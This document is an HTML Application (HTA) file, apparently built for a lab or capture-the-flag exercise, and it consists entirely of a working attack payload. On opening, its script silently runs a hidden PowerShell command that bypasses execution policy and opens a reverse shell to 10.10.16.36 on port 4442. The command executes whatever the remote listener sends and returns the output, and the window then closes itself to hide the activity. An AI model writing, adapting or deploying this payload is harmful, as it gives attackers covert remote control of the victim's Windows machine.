<html>

<head>

<HTA:APPLICATION ID="shell">

<script language="javascript">

 var c = "powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('10.10.16.36', 4442);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$\_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"";

 new ActiveXObject('WScript.Shell').Run(c, 0, true);

</script>

</head>

<body>

<script>self.close();</script>

</body>

</html>